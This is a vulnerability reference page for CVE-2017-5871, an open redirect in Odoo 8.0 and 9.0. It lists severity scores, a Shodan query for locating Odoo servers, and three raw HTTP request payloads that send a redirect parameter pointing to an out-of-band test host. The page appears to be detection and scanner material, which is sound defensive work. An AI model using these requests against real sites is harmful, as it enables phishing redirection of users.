🔙 목록으로 돌아가기

CVE-2017-5871: Odoo <= 8.0-20160726 & 9.0 - Open Redirect

TitleOdoo <= 8.0-20160726 & 9.0 - Open Redirect
Author1337rokudenashi
SeverityMedium
ImpactSuccessful exploitation can redirect users to malicious sites, potentially leading to phishing attacks or information theft.
RemediationUpdate Odoo to the latest patched version provided by the vendor.
CVSS Score5.4
EPSS Score0.02676
CVE IDCVE-2017-5871
CWE IDCWE-601
Shodan Querytitle:"Odoo"
Tags cve2017 cve odoo redirect vuln

🔍 Vulnerability Description

An Open Redirect vulnerability in Odoo versions <= 8.0-20160726 and 9.0. This issue allows an attacker to redirect users to untrusted sites via a crafted URL.

🌐 HTTP Request

GET /web/session/logout?redirect=https://oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /web/session/logout?redirect=https%3a%2f%2foast.me%2f HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /web/dbredirect?redirect=https%3a%2f%2foast.me%2f HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-5871.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-5871.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A